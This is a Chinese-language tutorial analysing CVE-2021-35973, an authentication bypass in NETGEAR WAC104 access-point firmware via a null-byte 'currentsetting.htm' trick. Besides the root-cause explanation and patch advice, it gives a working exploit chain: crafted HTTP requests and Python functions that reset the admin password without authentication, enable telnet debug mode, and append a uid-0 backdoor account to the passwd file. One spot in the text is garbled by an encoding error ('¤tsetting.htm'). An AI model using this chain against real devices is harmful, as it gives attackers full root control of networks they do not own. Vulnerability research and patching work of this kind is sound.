CVE-2021-35973-IOT认证绕过分析
字数 826 2025-08-06 20:12:39
NETGEAR WAC104 认证绕过漏洞分析 (CVE-2021-35973) 教学文档
漏洞概述
NETGEAR WAC104 设备在版本低于 v1.0.4.15 的固件中存在认证绕过漏洞,位于 /usr/sbin/mini_httpd 程序中。攻击者可以通过在 HTTP 查询中添加 ¤tsetting.htm 子字符串来绕过认证,实现未授权访问设备资源。
漏洞分析
1. 认证绕过机制
漏洞核心在于 mini_httpd 程序中的认证标志位处理逻辑:
-
标志位设置点:程序中有三处会将认证标志位设置为1:
- 存在
SOAPAction头部字段时 - 存在
setupwizard.cgi字段时(仅设备首次启动时有效) - URI 中包含
currentsetting.htm时
- 存在
-
漏洞利用点:
- 使用
strstr函数检查 URI 时没有正确处理 NULL 字节截断 - 可以构造类似
/uri%00currentsetting.htm的请求绕过检查 - 标志位被设置后,程序会跳过基本的
.htpasswd文件认证
- 使用
2. 漏洞利用链
-
认证绕过:
GET /uri%00currentsetting.htm HTTP/1.1 Host: aplogin -
密码重置:
GET /setup.cgi?todo=con_save_passwd&sysNewPasswd=ABC&sysConfirmPasswd=ABC%00currentsetting.htm HTTP/1.1 Host: aplogin -
会话绕过:
POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1 Host: aplogin Content-Length: 11 Content-Type: application/x-www-form-urlencoded todo=reboot
漏洞利用步骤
1. 初始访问
-
重置会话状态:
def reset_session_state_or_sth(): action(b'\r\n'.join([ b"GET /401_access_denied.htm HTTP/1.5", b"Host: aplogin", b"", b"" ])) -
修改 NVRAM 密码:
def change_nvram_password(new_password): new_password = bytes(new_password, "utf-8") action(b'\r\n'.join([ (b"GET /setup.cgi?todo=con_save_passwd&" b"sysNewPasswd=%s&sysConfirmPasswd=%s" b"%%00currentsetting.htm HTTP/1.5") % (new_password, new_password), b"Host: aplogin", b"", b"" ]))
2. 完全密码修改
def change_password_full(old_password, new_password):
old_password = bytes(old_password, "utf-8")
new_password = bytes(new_password, "utf-8")
post_body = (
b"sysOldPasswd=%s&sysNewPasswd=%s&sysConfirmPasswd=%s&"
b"question1=1&answer1=a&question2=1&answer2=a&"
b"todo=save_passwd&"
b"this_file=PWD_password.htm&"
b"next_file=PWD_password.htm&"
b"SID=&h_enable_recovery=disable&"
b"h_question1=1&h_question2=1"
) % (old_password, new_password, new_password)
action(b'\r\n'.join([
b"POST /setup.cgi?id=0%00currentsetting.htm?sp=1234 HTTP/1.1",
b"Host: aplogin",
b"Content-Length: %i" % len(post_body),
b"Content-Type: application/x-www-form-urlencoded",
b"",
post_body
]))
3. 提权操作
-
启用调试模式:
def enable_debug_mode(): action(b'\r\n'.join([ b"GET /setup.cgi?todo=debug%00currentsetting.htm HTTP/1.5", b"Host: aplogin", b"", b"" ])) -
添加 root 用户:
def add_root_user(password): p = remote(IP, 23) t = telnetlib.Telnet() t.sock = p t.write(b"admin\n") t.write(bytes(password, "utf-8") + b"\n") t.write(b"cd /tmp/etc\n" b"cp passwd passwdx\n" b"echo toor:scEOyDvMLIlp6:0:0::scRY.aIzztZFk:/sbin/sh >> passwdx\n" b"mv passwd old_passwd\n" b"mv passwdx passwd\n" b"echo DONEMARKER\n") t.close()
漏洞修复
升级到固件版本 v1.0.4.15 或更高版本。
相关漏洞
类似漏洞:
- PSV-2021-0133
- CVE-2020-15633
- CVE-2019-17137
技术总结
-
漏洞根源:
- 不安全的
strstr函数使用导致认证绕过 - 认证标志位设计缺陷
- 会话管理不严格
- 不安全的
-
利用条件:
- 网络可达目标设备
- 固件版本低于 v1.0.4.15
-
影响:
- 未授权访问
- 密码重置
- 权限提升
- 完全设备控制
防御建议
- 及时更新固件
- 限制管理界面访问
- 使用强密码策略
- 监控异常登录行为